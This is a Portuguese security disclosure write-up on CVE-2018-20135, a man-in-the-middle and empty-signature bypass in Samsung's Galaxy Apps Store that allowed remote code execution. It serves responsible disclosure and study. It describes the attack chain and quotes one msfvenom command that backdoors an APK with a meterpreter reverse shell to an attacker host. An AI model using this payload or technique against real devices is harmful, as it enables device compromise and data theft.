Autores: André Baptista @0xacb, Luís Maia @0xfad0 e Rolando Martins @rolandomartins.
A arquitetura de updates de um sistema operativo móvel é de elevada importância para garantir o uso de software confiável imune a manipulações por parte de hackers.
Devido a um bug na Galaxy Apps Store da Samsung, era possível a injecção de código não autorizado por parte de terceiros, através da intercepção dos pedidos de atualizações periódicos por parte da Store.
Isto deveu-se ao facto da Samsung Galaxy Apps Store utilizar o protocolo HTTP num pedido em particular. Ao verificar se existem actualizações, um atacante com capacidade de controlo sobre o tráfego na rede (através de um ataque man-in-the-middle na rede por exemplo) pode modificar o URL de load-balancing e modificar pedidos para os mirrors com domínios controlados pelo mesmo. Isto permite que um atacante possa enganar a Galaxy Apps Store de forma a que a aplicação utilize um domínio diferente, configurado previamente com um certificado SSL válido e simulando as funcionalidades da API original da Store, de modo a modificar aplicações existentes num determinado dispositivo. Um atacante pode explorar esta vulnerabilidade para executar código arbitrário (RCE) em dispositivos Samsung.
1. Metodologia
1.1 Apps com permissões interessantes
A análise do ecossistema de todas as aplicações em dispositivos Samsung seria uma tarefa bastante complicada. Procurar por aplicações de sistema com permissões relevantes, como por exemplo, instalar outras aplicações podem reduzir o espaço de procura de vulnerabilidades.
Seguindo esta abordagem, desenvolvemos uma ferramenta para extrair e enumerar todas as aplicações que contivessem permissões interessantes de modo a reduzir o trabalho futuro de análise estática. Através da ferramenta Androguard, analisamos todas as aplicações e criámos um pequeno subconjunto.
1.2 Superfície de ataque relevante
Ser capaz de instalar apps localmente sem permissões de sistema seria uma vulnerabilidade à partida interessante, no entanto decidimos primeiro analisar aplicações de sistema que possam instalar outras aplicações, de modo a obter RCE se uma vulnerabilidade fosse encontrada numa dessas aplicações.
De modo a reduzir ainda mais a superfície de ataque assumimos que a Samsung usaria SSL de modo a prevenir ataques MITM ao realizar o download de APKs, o que nos levou a desenvolver alguns módulos para reduzir o número de APKs a analisar.
1.2.1 Segurança no transporte de dados
De modo a criar este subconjunto, criámos uma lista de classes e métodos que seriam usados para realizar pedidos HTTP/HTTPS. Extraímos todas as aplicações que continham classes e métodos presentes nesta lista, o que nos permitiu reduzir ainda mais o subconjunto de aplicações a analisar.
Embora este método ignorasse aplicações que não implementassem SSL ou HTTP e mesmo assim tivessem permissões para instalar outras aplicações, assumimos que a Samsung iria usar SSL ao realizar operações sensíveis. Também interceptamos tráfego de rede num ambiente controlado de modo a identificar pedidos HTTP enquanto interagimos com estas aplicações.
1.2.2 Validação de assinaturas de aplicações
Muitas aplicações usam SSL nas suas operações normais e o subconjunto obtido através dos métodos anteriores ainda era bastante grande. De modo a reduzir o subconjunto, filtramos todas as classes que continham a string “signature”.
1.3 Reverse Engineering
Olhando para o nosso subconjunto reduzido, escolhemos a aplicação mais óbvia que poderia ter vulnerabilidades relacionadas com instalação de packages como primeira aplicação a analisar: A Galaxy Apps Store. De modo a facilitar o trabalho em equipa e usar as funcionalidades de um IDE, utilizamos a ferramenta JADX para descompilar o APK para um projecto gradle, e importamos o mesmo para o Android Studio, o que é bastante útil para analisar classes, utilização de variáveis, entre outras funcionalidades.
2. Vulnerabilidades
2.1 Falta de segurança no transporte de dados
A Galaxy Apps Store obtém um URL específico para cada país para ser utilizado pela Store. Este pedido ocorre algumas vezes de forma periódica, ou quando a aplicação é iniciada pela primeira vez ou se o MCC (Mobile Country Code) mudar. No entanto, este pedido é feito através de HTTP e não HTTPS, o que permite um ataque MITM.
Neste pedido POST, o dispositivo envia diversas informações sobre o estado do dispositivo, tais como: MCC, MNC, modelo do dispositivo e idioma. Na resposta, um URL para o país é fornecido para ser utilizado pela Store a partir desse momento. Este URL contém um URL também HTTP mas a aplicação irá usar HTTPS para todos os pedidos seguintes.
Um atacante pode interceptar tráfego numa determinada rede, mudar a resposta deste pedido e fornecer à vítima um URL malicioso para ser usado pela aplicação. Este URL controlado pelo atacante pode atuar como proxy para a API original e modificar informações on the fly, tais como nomes de aplicações, imagens, permissões, entre outras.
2.2 Validação de assinaturas
Neste momento, o nosso objectivo era tentar obter RCE através da instalação de aplicações arbitrárias no dispositivo. Analisamos pedidos relacionados com a actualização e instalação de aplicações e apercebemo-nos que era possível mudar o URL dos ficheiros APK. No entanto, existia um parâmetro de assinatura no XML que é devolvido pelo servidor original. Conseguimos fazer bypass nesta validação.
Quando um utilizador quer instalar ou actualizar uma aplicação, a Store realiza um pedido à API de forma a obter informações sobre a aplicação. Um documento XML é devolvido pelo servidor e contém informação sobre permissões, o tamanho do ficheiro APK, URL para realizar o download do APK e assinatura:
Em primeiro lugar, alterámos o download Uri para uma APK controlada por nós com uma reverse shell, mas o cliente rejeitou a instalação da mesma devido ao valor da assinatura. De seguida, tentámos remover a tag de assinatura do XML e o cliente retornou também um erro. No entanto, se a tag de assinatura estivesse presente no XML mas com um valor vazio, i.e., <value name=”signature”></value>, a assinatura seria aceite e um APK modificado seria instalado com sucesso.
3. PoC
De modo a simplificar o nosso PoC, utilizamos a ferramenta mitmproxy para interceptar e modificar pedidos. Criámos um script para modificar automaticamente a resposta HTTP vulnerável e infectar o cliente com o nosso serviço:
Assim que o cliente ficar infectado e começar a utilizar este fake store URL, as aplicações podem ter actualizações e o serviço pode também informar o cliente que existe um nova actualização para uma determinada app. Quando um cliente quer instalar ou atualizar uma determinada aplicação, o servidor do atacante pode alterar o download URI com um link para um ficheiro APK com uma backdoor, que será instalado no dispositivo com mais permissões. devido à falta de validação do campo de assinatura (se a tag estiver vazia, mas presente, o dispositivo aceita o APK de forma cega) é possível modificar e infectar os APKs on the fly, para qualquer app que seja transferida sem calcular o valor das assinaturas. No nosso PoC fazemos a transferência de aplicações, guardamos as mesmas e inserimos backdoors nos ficheiros APK originais através da ferramenta msfvenom, à medida que são pedidas pelos clientes:
msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -o backdoor.apk
O serviço que explora esta vulnerabilidade está ilustrado no diagrama seguinte:
4. Conclusão
A Store é uma aplicação privilegiada com permissões de instalação, o que permite que o atacante modifique o manifest de modo a adicionar mais permissões para além das que são mostradas ao utilizador na aplicação. O utilizador estaria inconsciente de que a aplicação instalada teria mais permissões do que aquelas que são mostradas no menu de instalação, visto que a lista de permissões pode ser modificada na resposta do servidor original.
Através da infecção de um dispositivo com um URL de uma fake store API através de MITM, inserir backdoors em aplicações on the fly e a técnica de bypass do mecanismo de assinatura permitiu a instalação de apps modificadas e execução de código arbitrário (RCE) em dispositivos que utilizem a Galaxy Apps Store.
Versões afectadas: Samsung Galaxy Apps < 4.3.01.7
Testado nos dispositivos Samsung seguintes: A5 2017 (A520), Note 8 (N950F), A8 2018 (A530F), S7 (G930F), XCover 4 (G390F), S8 (G950F), S8 Plus (G955F), J7 2017 (J730F)
Timeline:
- 30/05/2018 – Relatório submetido através do Samsung Bug Bounty program
- 30/05/2018 – Triaged (Severidade: High)
- 27/09/2018 – Corrigido (Galaxy Apps Store 4.3.01.7)
- 16/10/2018 – Bounty atribuída XXXXX$
- 13/12/2018 – CVE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20135